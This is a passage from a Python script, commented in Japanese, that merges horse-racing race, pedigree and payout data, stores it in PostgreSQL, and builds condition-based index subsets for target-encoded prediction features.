'sibababacd','dirtbabacd']]\nmatomerare_race['ID'] = n_race['year'] + n_race['monthday'] + n_race['jyocd'] + n_race['kaiji'] + n_race['nichiji'] +n_race['racenum'] # レースIDの作成\n# n_haraiから必要な馬の情報の取り出す\nn_harai_matome = n_harai.loc[:,['year', 'monthday', 'jyocd', 'kaiji', 'nichiji', 'racenum', 'paytansyoumaban1', 'paytansyopay1',\n'paytansyoumaban2', 'paytansyopay2', 'paytansyoumaban3', 'paytansyopay3', 'payfukusyoumaban1','payfukusyopay1',\n'payfukusyoumaban2', 'payfukusyopay2', 'payfukusyoumaban3', 'payfukusyopay3', 'payfukusyoumaban4','payfukusyopay4', 'payfukusyoumaban5', 'payfukusyopay5', ]]\nn_harai_matome['ID'] = n_harai['year'] + n_harai['monthday'] + n_harai['jyocd'] + n_harai['kaiji'] + n_harai['nichiji'] + n_harai['racenum'] # レースIDの作成\n# レースIDをlistにして検索しやすいようにする\nmatome_data_list = list(matome_data['ID']) # レースIDをlistで取得\nmatomerare_race_list = list(matomerare_race['ID']) # レースIDをlistで取得\nn_harai_matome_idlist = list(n_harai_matome['ID']) # レースIDをlistで取得\n# 馬名をlistに\nmatome_bamei_list = list(matome_data['bamei']) # レースIDをlistで取得\nmatomerare_bamei_list = list(n_uma_pro['bamei']) # レースIDをlistで取得\n# 準備 必要なものだけlist化\nkyori_list = list(matomerare_race['kyori'])\ntrackcd_list = list(matomerare_race['trackcd'])\nsibababacd_list = list(matomerare_race['sibababacd'])\ndirtbabacd_list = list(matomerare_race['dirtbabacd'])\nfathername_list = list(n_uma_pro['ketto3infobamei1'])\n# 払い戻し,馬番をlistに\n# 単勝\nn_harai_matome_tanuma1 = list(n_harai_matome['paytansyoumaban1']) # レースIDをlistで取得\nn_harai_matome_tanpay1 = list(n_harai_matome['paytansyopay1']) # レースIDをlistで取得\nn_harai_matome_tanuma2 = list(n_harai_matome['paytansyoumaban2']) # レースIDをlistで取得\nn_harai_matome_tanpay2 = list(n_harai_matome['paytansyopay2']) # レースIDをlistで取得\nn_harai_matome_tanuma3 = list(n_harai_matome['paytansyoumaban3']) # レースIDをlistで取得\nn_harai_matome_tanpay3 = list(n_harai_matome['paytansyopay3']) # レースIDをlistで取得\n# 複勝\nn_harai_matome_uma1 = list(n_harai_matome['payfukusyoumaban1']) # レースIDをlistで取得\nn_harai_matome_pay1 = list(n_harai_matome['payfukusyopay1']) # レースIDをlistで取得\nn_harai_matome_uma2 = list(n_harai_matome['payfukusyoumaban2']) # レースIDをlistで取得\nn_harai_matome_pay2 = list(n_harai_matome['payfukusyopay2']) # レースIDをlistで取得\nn_harai_matome_uma3 = list(n_harai_matome['payfukusyoumaban3']) # レースIDをlistで取得\nn_harai_matome_pay3 = list(n_harai_matome['payfukusyopay3']) # レースIDをlistで取得\nn_harai_matome_uma4 = list(n_harai_matome['payfukusyoumaban4']) # レースIDをlistで取得\nn_harai_matome_pay4 = list(n_harai_matome['payfukusyopay4']) # レースIDをlistで取得\nn_harai_matome_uma5 = list(n_harai_matome['payfukusyoumaban5']) # レースIDをlistで取得\nn_harai_matome_pay5 = list(n_harai_matome['payfukusyopay5']) # レースIDをlistで取得\n\n# 行番号を探す関数\ndef my_index(l, x, default=np.nan):\n if x in l:\n return l.index(x) # 一致するデータがあるときはindexを返す\n else:\n return default # ないときはNaNを返す\n\n# データはlistに入れて高速化\na_kyori = []\na_trackcd = []\na_sibababacd = []\na_dirtbabacd = []\na_father = []\n# データはlistに入れて高速化\na_tanuma1 = []\na_tanpay1 = []\na_tanuma2 = []\na_tanpay2 = []\na_tanuma3 = []\na_tanpay3 = []\na_uma1 = []\na_pay1 = []\na_uma2 = []\na_pay2 = []\na_uma3 = []\na_pay3 = []\na_uma4 = []\na_pay4 = []\na_uma5 = []\na_pay5 = []\n# for文でデータを抽出\nfor i in range(len(matome_data)):\n if i % 100000 == 0:\n print(i)\n idx = my_index(matomerare_race_list, matome_data_list[i]) # 行番号を取得\n idx_father = my_index(matomerare_bamei_list, matome_bamei_list[i]) # 行番号を取得\n idx1 = my_index(n_harai_matome_idlist, matome_data_list[i]) # 行番号を取得\n # レースID\n if np.isnan(idx): # NaNならTrue\n moji_str1a = np.nan\n moji_str1b = np.nan\n moji_str1c = np.nan\n moji_str1d = np.nan\n else:\n moji_str1a = kyori_list[idx]\n moji_str1b = trackcd_list[idx]\n moji_str1c = sibababacd_list[idx]\n moji_str1d = dirtbabacd_list[idx]\n # 父親の馬名\n if np.isnan(idx_father): # NaNならTrue\n moji_str1e = np.nan\n else:\n moji_str1e = fathername_list[idx_father]\n # 払い戻し\n if np.isnan(idx1): # NaNならTrue\n moji_str0a = np.nan\n moji_str0b = np.nan\n moji_str0c = np.nan\n moji_str0d = np.nan\n moji_str0e = np.nan\n moji_str0f = np.nan\n moji_stra = np.nan\n moji_strb = np.nan\n moji_strc = np.nan\n moji_strd = np.nan\n moji_stre = np.nan\n moji_strf = np.nan\n moji_strg = np.nan\n moji_strh = np.nan\n moji_stri = np.nan\n moji_strj = np.nan\n else:\n moji_str0a = n_harai_matome_tanuma1[idx1]\n moji_str0b = n_harai_matome_tanpay1[idx1]\n moji_str0c = n_harai_matome_tanuma2[idx1]\n moji_str0d = n_harai_matome_tanpay2[idx1]\n moji_str0e = n_harai_matome_tanuma3[idx1]\n moji_str0f = n_harai_matome_tanpay3[idx1]\n moji_stra = n_harai_matome_uma1[idx1]\n moji_strb = n_harai_matome_pay1[idx1]\n moji_strc = n_harai_matome_uma2[idx1]\n moji_strd = n_harai_matome_pay2[idx1]\n moji_stre = n_harai_matome_uma3[idx1]\n moji_strf = n_harai_matome_pay3[idx1]\n moji_strg = n_harai_matome_uma4[idx1]\n moji_strh = n_harai_matome_pay4[idx1]\n moji_stri = n_harai_matome_uma5[idx1]\n moji_strj = n_harai_matome_pay5[idx1]\n\n # データをどういれるか\n a_kyori += [moji_str1a]\n a_trackcd += [moji_str1b]\n a_sibababacd += [moji_str1c]\n a_dirtbabacd += [moji_str1d]\n a_father += [moji_str1e]\n a_tanuma1 += [moji_str0a]\n a_tanpay1 += [moji_str0b]\n a_tanuma2 += [moji_str0c]\n a_tanpay2 += [moji_str0d]\n a_tanuma3 += [moji_str0e]\n a_tanpay3 += [moji_str0f]\n a_uma1 += [moji_stra]\n a_pay1 += [moji_strb]\n a_uma2 += [moji_strc]\n a_pay2 += [moji_strd]\n a_uma3 += [moji_stre]\n a_pay3 += [moji_strf]\n a_uma4 += [moji_strg]\n a_pay4 += [moji_strh]\n a_uma5 += [moji_stri]\n a_pay5 += [moji_strj]\n\n# データの結合\nmerge = pd.DataFrame(\n data={'kyori': a_kyori, 'trackcd': a_trackcd, 'sibababacd': a_sibababacd, 'dirtbabacd': a_dirtbabacd,\n 'father': a_father, 'tanuma1': a_tanuma1, \\\n 'tanpay1': a_tanpay1, 'tanuma2': a_tanuma2, 'tanpay2': a_tanpay2, 'tanuma3': a_tanuma3, 'tanpay3': a_tanpay3,\n 'fukuuma1': a_uma1, 'fukupay1': a_pay1, 'fukuuma2': a_uma2,\n 'fukupay2': a_pay2, 'fukuuma3': a_uma3, 'fukupay3': a_pay3, 'fukuuma4': a_uma4, 'fukupay4': a_pay4,\n 'fukuuma5': a_uma5, 'fukupay5': a_pay5}, \\\n columns=['kyori', 'trackcd', 'sibababacd', 'dirtbabacd', 'father', 'tanuma1', 'tanpay1', 'tanuma2', 'tanpay2',\n 'tanuma3', 'tanpay3', 'fukuuma1', 'fukupay1', 'fukuuma2', \\\n 'fukupay2', 'fukuuma3', 'fukupay3', 'fukuuma4', 'fukupay4', 'fukuuma5', 'fukupay5'])\nsaigo = pd.concat([matome_data, merge], axis=1)\n# データpostgreへ\ncre_data_1 = saigo.reset_index() # indexを与える\nconn = psycopg2.connect(\" user=\" + USER + \" dbname=\" + DB_NAME + \" password=\" + PASSWORD) # データベースを開く\ncursor = conn.cursor() # データベースを操作できるようにする\ncre_data_1.to_sql(\"tokutyo_moto\", ENGINE, if_exists='replace', index=False) # postgreに作成データを出力,存在してたらreplace\n# -------------実行ここまで\ncursor.close() # データベースの操作を終了する\nconn.commit() # 変更をデータベースに保存\nconn.close() # データベースを閉じる\n# endregion\n\n# region tokutyou_generator_moto_1:特徴量元データに単勝払い戻しと複勝払い戻しを列に追加するスクリプトWall time: 1min 28s\n# tokutyou_generator_moto_1:特徴量元データに単勝払い戻しと複勝払い戻しを列に追加するスクリプト\n# 統計データを作成する\ntmp_1 = tokutyo_moto.sort_values('index') # indexがおかしいので,昇順で並べ替え\ntmp_2 = tmp_1.reset_index(drop=True) # 一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nmoto_data = tmp_2.copy() # defaultはtrue copyにしないと参照渡しになって元データから変更になってしまう\nmoto_data = moto_data.replace('', np.nan) # 空をnanに置き換え\n# pandasでobject形式のデータをfloatにして入れ替える\nmoto_data['kakuteijyuni'] = moto_data['kakuteijyuni'].astype(float) # 確定順位をobjectからintに変換\nmoto_data['fukuuma1'] = moto_data['fukuuma1'].astype(float)\nmoto_data['fukupay1'] = moto_data['fukupay1'].astype(float)\nmoto_data['fukuuma2'] = moto_data['fukuuma2'].astype(float)\nmoto_data['fukupay2'] = moto_data['fukupay2'].astype(float)\nmoto_data['fukuuma3'] = moto_data['fukuuma3'].astype(float)\nmoto_data['fukupay3'] = moto_data['fukupay3'].astype(float)\nmoto_data['fukuuma4'] = moto_data['fukuuma4'].astype(float)\nmoto_data['fukupay4'] = moto_data['fukupay4'].astype(float)\nmoto_data['fukuuma5'] = moto_data['fukuuma5'].astype(float)\nmoto_data['fukupay5'] = moto_data['fukupay5'].astype(float)\nmoto_data['tanuma1'] = moto_data['tanuma1'].astype(float)\nmoto_data['tanpay1'] = moto_data['tanpay1'].astype(float)\nmoto_data['tanuma2'] = moto_data['tanuma2'].astype(float)\nmoto_data['tanpay2'] = moto_data['tanpay2'].astype(float)\nmoto_data['tanuma3'] = moto_data['tanuma3'].astype(float)\nmoto_data['tanpay3'] = moto_data['tanpay3'].astype(float)\n\n# 単勝払い戻しと複勝払い戻しを列に追加\ndef harai_tan(x):\n if float(x.umaban) == x.tanuma1:\n return x.tanpay1\n elif float(x.umaban) == x.tanuma2:\n return x.tanpay2\n elif float(x.umaban) == x.tanuma3:\n return x.tanpay3\n else:\n return 0\n\ndef harai_fuku(x):\n if float(x.umaban) == x.fukuuma1:\n return x.fukupay1\n elif float(x.umaban) == x.fukuuma2:\n return x.fukupay2\n elif float(x.umaban) == x.fukuuma3:\n return x.fukupay3\n elif float(x.umaban) == x.fukuuma4:\n return x.fukupay4\n elif float(x.umaban) == x.fukuuma5:\n return x.fukupay5\n else:\n return 0\n\n# applyで格納\nif not 'tan_harai' in moto_data.columns:\n moto_data['tan_harai'] = moto_data.apply(lambda x: harai_tan(x), axis=1)\n moto_data['fuku_harai'] = moto_data.apply(lambda x: harai_fuku(x), axis=1)\nelse:\n pass\n# いらない列削除\nmoto_data = moto_data.drop(\n ['odds', 'fukuuma1', 'fukupay1', 'fukuuma2', 'fukupay2', 'fukuuma3', 'fukupay3', 'fukuuma4', 'fukupay4', 'fukuuma5', \\\n 'fukupay5', 'tanuma1', 'tanpay1', 'tanuma2', 'tanpay2', 'tanuma3', 'tanpay3'], axis=1)\n# 確定順位列を右端に移動させる\ncol = moto_data.columns.tolist() # 列名のリスト\ncol.remove('kakuteijyuni') # 't'を削除 ※列名は重複していないものとする\ncol.append('kakuteijyuni') # 末尾に`t`を追加\nmoto_data = moto_data[col]\n\n# 時系列で並べ替え\nmoto_data['nara'] = moto_data['ID'] + moto_data['umaban'] # 並べ替え用\nmoto_data_1 = moto_data.sort_values('nara') # indexがおかしいので,昇順で並べ替え\n# index振りなおし\nmoto_data_1 = moto_data_1.drop('index', axis=1)\nmoto_data_2 = moto_data_1.reset_index(drop=True) # 一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\nmoto_data_2 = moto_data_2.reset_index(drop=False) # 一番左のindexをindexに合わせて振りなおし。drop=trueにして新規にindex発行しないようにする。これでなおった。\n# 表示\nmoto_data_2['year'] = moto_data_2['year'].astype(int) # 確定順位をobjectからintに変換\n# endregion\n\n# region tokutyou_generator_2:10000個くらいの特徴量をtarget-encodingで作成するスクリプト Wall time: 4h 58min 30s\n# tokutyou_generator_2:10000個くらいの特徴量をtarget-encodingで作成するスクリプト Wall time: 4h 58min 30s\n# pandasのデータをfloat型にする NaNもあるし,float型\n# 競走中止とかは将来的に\n# サンプル数は確認して、あまりにも少ないときは平均値などで置き換えを検討すべきかも\n# 型変換と欠測処理 object⇒numericにして欠測はnanで埋める\nmoto_data_2['year'] = pd.to_numeric(moto_data_2[\"year\"], errors='coerce')\nmoto_data_2[\"jyocd\"] = pd.to_numeric(moto_data_2[\"jyocd\"], errors='coerce')\nmoto_data_2['umaban'] = pd.to_numeric(moto_data_2[\"umaban\"], errors='coerce')\nmoto_data_2['kyori'] = pd.to_numeric(moto_data_2[\"kyori\"], errors='coerce')\nmoto_data_2['trackcd'] = pd.to_numeric(moto_data_2[\"trackcd\"], errors='coerce')\nmoto_data_2['sibababacd'] = pd.to_numeric(moto_data_2[\"sibababacd\"], errors='coerce')\nmoto_data_2['dirtbabacd'] = pd.to_numeric(moto_data_2[\"dirtbabacd\"], errors='coerce')\nmoto_2010 = moto_data_2[moto_data_2['year'] >= 2010] # 2010年以降のデータだけにする。moto_data_2⇒moto_2010\n# umadataの抽出,2000年以降に産まれた馬だけを選択\nn_uma_pro['birthdate'] = pd.to_numeric(n_uma_pro[\"birthdate\"], errors='coerce')\nn_uma_pro = n_uma_pro[n_uma_pro['birthdate'] >= 20000001] # 2000年からの馬を集計 10万頭くらい\n# 様々な条件でのindexを取得⇒ここは一つの条件でindex様々に取得して,その様々なindexのかつをしたほうがおしゃれかも\n# region various condition\nt1 = list(moto_2010[((moto_2010['umaban'] < 9))].index) # 馬番9より小さい OK\nt2 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400))].index) # 馬番9より小さいかつ距離1400以下 OK\nt3 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200))].index) # 馬番9より小さいかつ距離1400~2200 OK\nt4 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600))].index) # 馬番9より小さいかつ距離2200~3600 OK\nt5 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 馬番9より小さいかつ良馬場 OK\nt6 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index) # 馬番9より小さいかつ重馬場 OK\nt7 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9より小さいかつ芝 OK\nt8 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9より小さいかつダート OK\nt9 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 馬番9より小さいかつ1400以下かつ良馬場 OK\nt10 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 馬番9より小さいかつ1400~2200かつ良馬場 OK?\nt11 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 馬番9より小さいかつ2200~3600かつ良馬場 OK?\nt12 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index) # 馬番9より小さいかつ1400以下かつ重馬場 OK?\nt13 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index) # 馬番9より小さいかつ1400~2200かつ重馬場 OK?\nt14 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index) # 馬番9より小さいかつ2200~3600かつ重馬場 OK?\nt15 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9より小さいかつ1400以下かつ芝 OK?\nt16 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9より小さいかつ1400~2200かつ芝 OK?\nt17 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9より小さいかつ2200~3600かつ芝 OK?\nt18 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9より小さいかつ1400以下かつダート OK?\nt19 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9より小さいかつ1400~2200かつダート OK?\nt20 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9より小さいかつ2200~3600かつダート OK?\nt21 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['sibababacd'] > 0) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 馬番9より小さいかつ芝でコースが11か17(内回り OK?\nt22 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['sibababacd'] > 0) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 馬番9より小さいかつ芝でコースが12か18(外回り OK?\nt23 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9より小さいかつ良馬場かつ芝 OK?\nt24 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9より小さいかつ重馬場かつ芝 OK?\nt25 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9より小さいかつ良馬場かつダート OK?\nt26 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9より小さいかつ重馬場かつダート OK?\nt27 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9以下かつ1400以下良かつ芝 OK?\nt28 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9以下14-22かつ良かつ芝?\nt29 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9以下22-36かつ良かつ芝?\nt30 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9以下かつ1400以下重かつ芝 OK?\nt31 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9以下14-22かつ重かつ芝?\nt32 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index) # 馬番9以下22-36かつ重かつ芝?\nt33 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9以下かつ1400以下良かつダ OK?\nt34 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9以下14-22かつ良かつダ?\nt35 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9以下22-36かつ良かつダ?\nt36 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9以下かつ1400以下重かつダ OK?\nt37 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9以下14-22かつ重かつダ?\nt38 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index) # 馬番9以下24-36かつ重かつダ?\nt39 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下1400以下 芝 内回り?\nt40 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下14-22 芝 内回り?\nt41 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下24-36 芝 内回り?\nt42 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下1400以下 芝 外回り?\nt43 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下14-22 芝 外回り?\nt44 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下22-36 芝 外回り?\nt45 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下 良 芝 内回り?\nt46 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下 重 芝 外回り?\nt47 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下 重 芝 外回り?\nt48 = list(moto_2010[((moto_2010['umaban'] < 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下 重 芝 内回り?\nt49 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下14良芝内\nt50 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下1422良芝内)\nt51 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下2232良芝内)\nt52 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下1422良芝外\nt53 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下1422良芝外\nt54 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下2232良芝外\nt55 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下14重芝内\nt56 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下1422重芝内\nt57 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index) # 8以下32重芝内\nt58 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下14重芝外\nt59 = list(moto_2010[((moto_2010['umaban'] < 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下1422重芝外\nt60 = list(moto_2010[((moto_2010['umaban'] < 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index) # 8以下36重芝外\n# 馬番関係\nt61 = list(moto_2010[((moto_2010['umaban'] >= 9))].index)\nt62 = 